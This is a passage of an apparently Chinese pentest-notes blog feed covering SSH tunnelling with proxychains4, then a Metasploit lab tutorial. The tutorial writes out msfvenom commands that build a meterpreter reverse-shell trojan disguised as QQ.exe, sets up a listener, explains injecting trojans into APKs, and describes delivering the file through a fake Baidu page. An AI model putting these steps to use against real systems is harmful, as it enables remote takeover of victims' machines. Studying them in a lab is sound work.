&lt;p&gt;选择&lt;strong&gt;攻城锤的话注入会发现Target和Host是一起变化的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后有回显的，长度跟别人不一样的，就代表这个IP有内容，证明是内网存活的主机&lt;/p&gt;
&lt;p&gt;这样就相当于对内网做了一个快速的&lt;strong&gt;Web探测&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;为什么说是Web探测呢？因为直接访问IP是默认访问80端口web服务的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果要探测不同IP的不同端口号就需要用到其他的一些爆破方式了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;隧道的目的是什么？&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;将我们代理进内网
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4)proxychains4&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;内网存在非常多的工具，这个时候我们想用工具去扫内网要怎么做？需要设置什么代理？&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;比如说工具是命令行嘛，就需要设置一个命令行代理，命令行代理跟主机代理不是同一个，单纯开一个Clash是没有用的，命令行代理是需要额外设置的

要配置命令行代理就需要输入一堆指令，所以我们可以对指令做一个封装

先下载proxychains4,在kali上直接apt install proxychains4

然后进入配置文件
vim /etc/proxychains.conf

#前面全是它的一个文档，后面给出了一个例子
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/ebdbd59f88-image-20231205232707909.png&quot; alt=&quot;image-20231205232707909&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;贴上Linux通用配置
export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890 all_proxy=socks5://127.0.0.1:7890

成功封装命令
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;linux-设置代理和取消代理

设置代理：

 export http_proxy=&quot;http://proxy-XXXXX&quot;
 export https_proxy=&quot;https://proxy-XXXXX:&quot;
 export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890 all_proxy=socks5://127.0.0.1:7890

取消代理：

unset http_proxy

unset https_proxy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果此时我们用fscan去扫描172.17.0.10的端口是扫不到的因为我们没有挂上代理&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fscan64.exe -h 172.17.0.10 -np
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/bd0aa7a13a-image-20231205232854382.png&quot; alt=&quot;image-20231205232854382&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;那此时我们加上这块工具试试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;proxychains fscan64.exe -h 172.17.0.10 -np

#-np :no ping ,因为用Clash的socks代理是走不通ping这条命令的，但是其他的像TCP这种正常的连接他是可以连上的
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为刚才BP走了1226端口的代理进行一个扫描，之前搭建的动态端口隧道有可能会断掉，fscan扫描不成功，需要重新搭建一下，也就是再输一下命令&lt;/p&gt;
&lt;p&gt;再重新搭建成功后，可以看见&lt;strong&gt;挂上了代理的fscan成功扫描到了内网IP的端口&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/fe1f2a46e9-image-20231205233612539.png&quot; alt=&quot;image-20231205233612539&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;proxychains4这个工具非常的方便啊&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;proxychains4这个命令后面的命令全部走代理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;还有就是可以使用fscan本身就有的参数代理，直接加上即可&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/c592a2d143-image-20231207003321994.png&quot; alt=&quot;image-20231207003321994&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;nmap的话需要加上-sT参数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/b93c93f4f2-88.png&quot; alt=&quot;88&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;5)本次ssh隧道搭建的知识脉络图&lt;/h4&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/46ebeee011-99.jpg&quot; alt=&quot;99&quot; style=&quot;zoom: 33%;&quot; /&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Metasploit Framework (MSF) 笔记</title><link>https://wangyi187.top/posts/metasploit-notes/</link><guid isPermaLink="true">https://wangyi187.top/posts/metasploit-notes/</guid><description>0x05 Metasploit Framework（MSF） 参考资料： https://blog.csdn.net/weixin_45588247/article/details</description><pubDate>Wed, 19 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x05 Metasploit Framework（MSF）&lt;/h1&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;参考资料：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;https://blog.csdn.net/weixin_45588247/article/details/119614618&lt;/p&gt;
&lt;h2&gt;一、实验环境&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;靶 机：&lt;/strong&gt; windows10虚拟机：&lt;code&gt;192.168.23.129&lt;/code&gt;
&lt;strong&gt;攻击机：&lt;/strong&gt; kali虚拟机：&lt;code&gt;192.168.23.138&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;二、简介&lt;/h2&gt;
&lt;p&gt;​	&lt;strong&gt;Metasploit Framework(MSF)&lt;strong&gt;是一款&lt;/strong&gt;开源安全漏洞检测工具&lt;/strong&gt;，附带数千个已知的软件漏洞，并保持持续更新。Metasploit&lt;strong&gt;可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程&lt;/strong&gt;，被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的，但是再后来的新版中，改成了用Ruby语言编写的了。&lt;strong&gt;在kali中，自带了Metasploit工具&lt;/strong&gt;。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点，讲解MSF框架的使用。&lt;/p&gt;
&lt;h2&gt;三、使用方法&lt;/h2&gt;
&lt;h3&gt;1、kali中MSF的升级与更新&lt;/h3&gt;
&lt;p&gt;由于kali中的Metasploit渗透测试框架是集成在系统中的，不是单独安装，不支持使用&lt;code&gt;msfupdate&lt;/code&gt;命令更新，更新的话需要随系统程序更新。&lt;/p&gt;
&lt;p&gt;在kali中更新MSF使用以下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt update 					# 更新安装包信息；只检查，不更新（已安装的软件包是否有可用的更新，给出汇总报告）

apt upgrade 				# 更新已安装的软件包，不删除旧包；

apt full-upgrade			# 升级包，删除旧包
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用上面命令，是在更新系统程序的同时，把MSF更新。&lt;/p&gt;
&lt;h3&gt;2、MSF在VPS上的部署&lt;/h3&gt;
&lt;p&gt;https://www.cnblogs.com/MaoheLaoXu/p/17561963.html&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/77a83f152e-image-20231218204234109.png&quot; alt=&quot;image-20231218204234109&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;![](assets/image-&lt;/p&gt;
&lt;h3&gt;二、msfconsole&lt;/h3&gt;
&lt;h4&gt;1、简介&lt;/h4&gt;
&lt;p&gt;​	&lt;strong&gt;msfconsole&lt;/strong&gt; 简称 &lt;strong&gt;msf&lt;/strong&gt; 是一款常用的&lt;strong&gt;安全测试&lt;/strong&gt;工具，包含了常见的漏洞利用模块和生成各种木马，其提供了一个一体化的集中控制台，通过msfconsole，你可以访问和使用所有的metaslopit插件，payload，利用模块，post模块等等。msfconsole还有第三方程序的接口，比如nmap、sqlmap等，可以直接在msfconsole里面使用。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://so.csdn.net/so/search?q=kali&amp;amp;spm=1001.2101.3001.7020&quot;&gt;kali&lt;/a&gt;可直接在命令使用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfconsole
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Msfconsole的系统文件和用户文件位于&lt;code&gt;/usr/share/metasploit-framework/msfconsole&lt;/code&gt;目录下&lt;/p&gt;
&lt;h4&gt;2、生成payload时常见参数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;-p, –payload &amp;lt; payload&amp;gt; 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的

-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

-n, –nopsled &amp;lt; length&amp;gt; 为payload预先指定一个NOP滑动长度

-f, –format &amp;lt; format&amp;gt; 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)

-e, –encoder [encoder] 指定需要使用的encoder（编码器）,指定需要使用的编码，如果既没用-e选项也没用-b选项，则输出raw payload

-a, –arch &amp;lt; architecture&amp;gt; 指定payload的目标架构，例如x86 | x64 | x86_64

–platform &amp;lt; platform&amp;gt; 指定payload的目标平台

-s, –space &amp;lt; length&amp;gt; 设定有效攻击荷载的最大长度，就是文件大小

-b, –bad-chars &amp;lt; list&amp;gt; 设定规避字符集，指定需要过滤的坏字符例如：不使用 &apos;\x0f&apos;、&apos;\x00&apos;;

-i, –iterations &amp;lt; count&amp;gt; 指定payload的编码次数

-c, –add-code &amp;lt; path&amp;gt; 指定一个附加的win32 shellcode文件

-x, –template &amp;lt; path&amp;gt; 指定一个自定义的可执行文件作为模板,并将payload嵌入其中

-k, –keep 保护模板程序的动作，注入的payload作为一个新的进程运行

–payload-options 列举payload的标准选项

-o, –out &amp;lt; path&amp;gt; 指定创建好的payload的存放位置

-v, –var-name &amp;lt; name&amp;gt; 指定一个自定义的变量，以确定输出格式

–shellest 最小化生成payload

-h, –help 查看帮助选项

–help-formats 查看msf支持的输出格式列表
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、msf控制台参数运用&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;- banner 	#这个主要是查看metasploit的版本信息，利用模块数量、payload数量等等。 

- use 		#这个是使用参数。如你要使用到某个利用模块，payload等，那么就要使用到use参数 

- Search 	#当你使用msfconsole的时候，你会用到各种漏洞模块、各种插件等等。所以search命令就很重要。   

	使用命令 `help search` 可以查看具体使用方法； 
    
	其他使用方法：   
	1、查mysql:`search name:mysql`; 
	2、查joomla:`search joomla`;
	3、查ubutu漏洞：`searchsploit ubuntu 16.04`；
	4、查ms08-067漏洞：`search ms08-067` ...... 

- show 		#这个命令用的很多。如果单纯的输入show，那么就会显示出所有的payload，利用模块，post模块，插件等等。但是一般我们都不这么使用。如果要显示利用模块，那么就输入show exploits。如果要显示payload，那么就输入show payloads。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4、参数详解&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;输入banner查看模块信息&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/d2ff87f5a8-image-20231214222641439.png&quot; alt=&quot;image-20231214222641439&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;       =[ metasploit v6.3.45-dev                          ]
+ -- --=[ 2377 exploits - 1232 auxiliary - 416 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;exploits(exp):&lt;strong&gt;英文中音标为/ɪkˈsplɔɪts/，翻译成利用，这里指代&lt;/strong&gt;利用漏洞进行攻击&lt;/strong&gt;【基本上exp都是配合payload一起使用】&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;payloads&lt;/strong&gt;:&lt;strong&gt;攻击载荷&lt;/strong&gt;【在攻击过程中真正执行的代码或指令，就譬如说我前面的exp能打出RCE或者栈溢出的这么一个效果，那这个漏洞只是单单的达成了这个效果，而达成之后你要在对方电脑上做什么就得看这个payload了，比如说payload选择了远程命令执行或者说直接上大马payload，那就会配合这个exp来完成】&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;**singles:**&lt;strong&gt;所有攻击代码都打包在一个文件中&lt;/strong&gt;【它没有外部依赖，所以说它的文件比较大，可能因为对方的一个存储空间的限制导致没法执行，这个存储空间指代对方程序的存储空间，譬如说我们攻击了ssh这个服务，那ssh这个服务有可能没办法申请到太多的内存空间，可能会受限】&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;stagers:传输一个较小的payload用于建立连接&lt;/strong&gt;，连接建立后就开始发送stager(大马)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;stager:利用stagers建立的连接，再传输的代码&lt;/strong&gt;【有点类似于分离免杀的思路，攻击成功之后对方会找我们建立一个较小的隧道，这个隧道没有什么攻击效果就单纯的传输文件而已，然后会把这个stager传输过去，对方就会执行这个stager(大马)，这个stager才是真正意义上的一个攻击代码】&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;auxiliary:辅助模块&lt;/strong&gt;，可以看作是一个没有payload的exp，一般在信息搜集阶段使用，功能非常多&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;post:后渗透模块&lt;/strong&gt;(取得shell后再去渗透的一个模块。比如说提权、对方环境的信息收集等等)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;encoders:编码模块&lt;/strong&gt;，对payload进行加密来躲避av的查杀，但是基本没什么用，效果基本等于0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;nops:空指令模块&lt;/strong&gt;，主要功能是混淆，比如说现在有这么一个程序&lt;/p&gt;
&lt;p&gt;​			这边是它的一个代码，然后空指令就是在这个程序的代			码里面去插入一些无意义的代码(注释符等等)，但是并			不影响它程序正常执行，但是它的免杀效果也基本为0跟			encoders一样废物&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code&gt;===================================
============-----=======================
===================================
===================================
======-----=============================
===================================
=================-----==================
===------================================
===========================-----========
===----================================
=======---=================---===========
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;evasion:免杀模块&lt;/strong&gt;，在msf5.0引入的模块，挺不错的，刚出的时候能做到百分百免杀，但是基本上隔个一两小时或一两天差不多就会被杀掉了，这个免杀是具有时效性，我们能用msf，那些安全研究员也能用msf,如果有一天可以看见这个免杀模块版本发生了更改，赶快用，非常强大&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;5、设置监听&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;use exploit/multi/handler	#设置监听模块&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[*] Using configured payload generic/shell_reverse_tcp	#默认选择通过TCP的方式反弹shell的payload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;show options	#查看需要配置的参数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/abeef95778-image-20231215211107852.png&quot; alt=&quot;image-20231215211107852&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;info #查看模块信息&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/c55edd29dc-image-20231215211218356.png&quot; alt=&quot;image-20231215211218356&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;set payload windows/meterpreter/&lt;/strong&gt; 然后再按两次Tab键&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/72cf3880f5-image-20231215211259511.png&quot; alt=&quot;image-20231215211259511&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TCP:最稳定&lt;/li&gt;
&lt;li&gt;http:吃网速&lt;/li&gt;
&lt;li&gt;bind:正向连接&lt;/li&gt;
&lt;li&gt;reverse：反向连接&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;有时候对方防火墙设置一个出入站的规则TCP连不上我们可以试一试用http

比如说我们拿到一个shell之后，我们需要进行一个环节就是出网探测，如果说对方出网的话，比如说curl去访问网页能访问的话，我们就可以尝试用reverse_http，因为对方能访问我们的网页，我们就可以通过网页来进行一个数据传输，如果说能用TCP的话还是尽量用TCP因为是最稳定的
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;set payload windows/meterpreter/reverse_tcp&lt;/strong&gt;	&lt;strong&gt;#设置payload模块&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;show options&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/eb479e4c86-image-20231215211439081.png&quot; alt=&quot;image-20231215211439081&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Required：是否为必选项
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果set lhost 127.0.0.1，那我们设置的是一个本地监听，相当于我监听我自己，如果要监听别人，我们就必须设置一个对方能跟我们互通的地址，这边设置为全球通0.0.0.0，爱通哪通哪,谁都能访问到你&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;set lhost 0.0.0.0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;show option&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/3dc7229714-image-20231215212030535.png&quot; alt=&quot;image-20231215212030535&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;当payload参数设置完成以后，我们就开始&lt;strong&gt;启动监听&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;run&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/40f2d92bf1-image-20231215212354414.png&quot; alt=&quot;image-20231215212354414&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;命令总结&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;msf6 &amp;gt; use exploit/multi/handler

msf6 exploit(multi/handler) &amp;gt; set payload windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) &amp;gt; set lhost 0.0.0.0

msf6 exploit(multi/handler) &amp;gt; run
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;6、后台监听&lt;/h4&gt;
&lt;p&gt;利用到之前多线程的思路&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;handler -H 0.0.0.0 -P 4444 -p windows/meterpreter/reverse_tcp&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;现在就已经开始启动了监听并挂在了后台，当我们没有在监听也就是没有run的时候windows10点击QQ.exe它一样能监听到&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/1383a9fbe4-image-20231216175320237.png&quot; alt=&quot;image-20231216175320237&quot;  /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;jobs&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;查看后台监听效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;看看有什么参数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/3d5ea17b5e-image-20231216175417167.png&quot; alt=&quot;image-20231216175417167&quot;  /&amp;gt;&lt;/p&gt;
&lt;p&gt;小k kill掉&lt;/p&gt;
&lt;p&gt;大k 全部kill掉&lt;/p&gt;
&lt;h3&gt;三、msfvenom&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;木马生成平台&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;查看一下msfvenom的参数&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;msfvenom -h&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/c5672688c8-image-20231216122252264.png&quot; alt=&quot;image-20231216122252264&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中有个**-x参数**，指定一个模板完成注入，这里一个比较常见的-x使用方法就是指定一个apk文件，将木马注入到apk里面，别人安装这个apk就会上线，虽然有很多的apk不支持注入有防止的这种功能，但是还是有大量的apk是可以完成的&lt;/p&gt;
&lt;p&gt;还有一个**-k参数**，只作为一个保护程序的动作，它的作用是将注入的payload作为一个新的进程启动&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-a参数&lt;/strong&gt;选择架构和平台，其实不选也可以，选了最好，这样生成的马会准确一点&lt;/p&gt;
&lt;h4&gt;1、木马生成&lt;/h4&gt;
&lt;p&gt;我们生成的payload最好和我们刚才设置的payload一致&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.23.138 lport=4444 -f exe -o QQ.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;msfvenom  -p windows/meterpreter/reverse_tcp lhost=内网ip地址(这里指kali服务端的内网ip地址) lport:4444(刚才监听设置的4444这里就设置4444) -f exe -o QQ.exe&lt;/p&gt;
&lt;p&gt;#-f exe 选择生成的文件格式为exe【-f 就是选择生成文件的格式，Linux可执行的文件格式为elf】&lt;/p&gt;
&lt;p&gt;#-o QQ.exe 输出一个文件为QQ.exe&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/2d6ce60a55-image-20231216112509857.png&quot; alt=&quot;image-20231216112509857&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;将输出在kali的QQ.exe拖入靶机windows10中&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom  -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport:4444 -f py -o cc.py

这里有个比较特殊的情况就是说，当我们生成的是python文件时cat ccc.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/20c1c51c29-image-20231215214536846.png&quot; alt=&quot;image-20231215214536846&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;2、shellcode&amp;amp;shellload&lt;/h4&gt;
&lt;p&gt;生成的是一个&lt;strong&gt;shellcode&lt;/strong&gt;【载入内存后攻击的代码】通常来说shellcode都有一个配合的东西---&lt;strong&gt;shellload&lt;/strong&gt;【将shellcode载入内存】这两个东西是分开来的，可以达到一个分离免杀的效果，如果说这两个全部绑定在一起，这时候木马的体积会比较大，而且免杀的效果会比较差，现在的免杀基本上都是分离免杀&lt;/p&gt;
&lt;p&gt;靶机windows需要把杀毒关掉，因为msf生成出来的木马默认是不带免杀的，虽然说msf默认有一些参数可以对木马做一个编码，但是免杀效果基本为0&lt;/p&gt;
&lt;h4&gt;3、木马执行&lt;/h4&gt;
&lt;p&gt;双击刚才拖进来的QQ.exe执行【&lt;strong&gt;必须先要把windows的杀毒和实时保护关掉，因为msf生成的木马默认是不带免杀的&lt;/strong&gt;，虽然说msf默认带有有一些免杀的参数，比如说编码这个参数，可以对生成的木马进行一个编码，不过他的一个免杀效果基本为0，如果真想&lt;strong&gt;通过工具来完成一个免杀效果的话可以使用---掩日(在一键日卫星上有，寓意遮天蔽日)&lt;/strong&gt;】&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/3adb47c5a6-image-20231216120222127.png&quot; alt=&quot;image-20231216120222127&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/cbd876bfc2-image-20231216113736150.png&quot; alt=&quot;image-20231216113736150&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到kali成功搭建了隧道并建立了连接【&lt;strong&gt;这个搭建隧道的过程之前说过，就是先传输一个较小的payload-stagers用于建立连接，连接建立后就开始发送stager(大马)&lt;/strong&gt;】同时meterpreter创建了一个session 1来保存这个shell&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/70a32aaad0-image-20231216113618728.png&quot; alt=&quot;image-20231216113618728&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/6c7d6482d5-image-20231216113915170.png&quot; alt=&quot;image-20231216113915170&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可以看到进入到了一个meterpreter这就是我们后渗透的控制台了&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;四、meterpreter&lt;/h3&gt;
&lt;p&gt;可以通过&lt;strong&gt;bg&lt;/strong&gt;(background)返回上一进程&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/5f0cdde34a-image-20231216121150579.png&quot; alt=&quot;image-20231216121150579&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;再通过&lt;strong&gt;sessions&lt;/strong&gt;查看我们的shell&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/e6134b11b7-image-20231216121251760.png&quot; alt=&quot;image-20231216121251760&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;sessions -h&lt;/strong&gt;可以查看全部参数&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/8f43bae269-image-20231216122354687.png&quot; alt=&quot;image-20231216122354687&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;sessions 1&lt;/strong&gt;就可以再次进入到shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/688203450a-image-20231216121429240.png&quot; alt=&quot;image-20231216121429240&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在我们看到进入到meterpreter了，那为什么不是叫shell而是叫这个名呢？刚才不是说反弹shell吗？&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/2d6ce60a55-image-20231216112509857.png&quot; alt=&quot;image-20231216112509857&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到生成木马的时候我们是写windows/meterpreter/xxxx，所以反弹回来的shell叫meterpreter，如果这里写windows/shell/xxxx，反弹回来的名字就叫shell&lt;/p&gt;
&lt;h4&gt;1、木马下发&lt;/h4&gt;
&lt;p&gt;伪装网站、钓鱼、让对方主动来下、社工、诱骗&lt;/p&gt;
&lt;p&gt;kali可以自带将目录生成网页让别人下载&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;python3 -m http.server 8080&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/9c573a53a8-image-20231216151809329.png&quot; alt=&quot;image-20231216151809329&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;访问本地8080端口可以看见这些文件并可以进行下载、访问和查看，就譬如我点击QQ.exe，它就开始了自动下载&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/81f237e32f-image-20231216151958367.png&quot; alt=&quot;image-20231216151958367&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;但是这种页面太丑陋了，我们可以对页面进行一些包装&lt;/p&gt;
&lt;p&gt;curl http://www.baidu.com &amp;gt; index.html&lt;/p&gt;
&lt;p&gt;把百度的页面抄下来用&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/f06274a20e-image-20231216152348303.png&quot; alt=&quot;image-20231216152348303&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;然后只需要访问一下127.0.0.1:8080/QQ.exe，就开始下载了&lt;/p&gt;
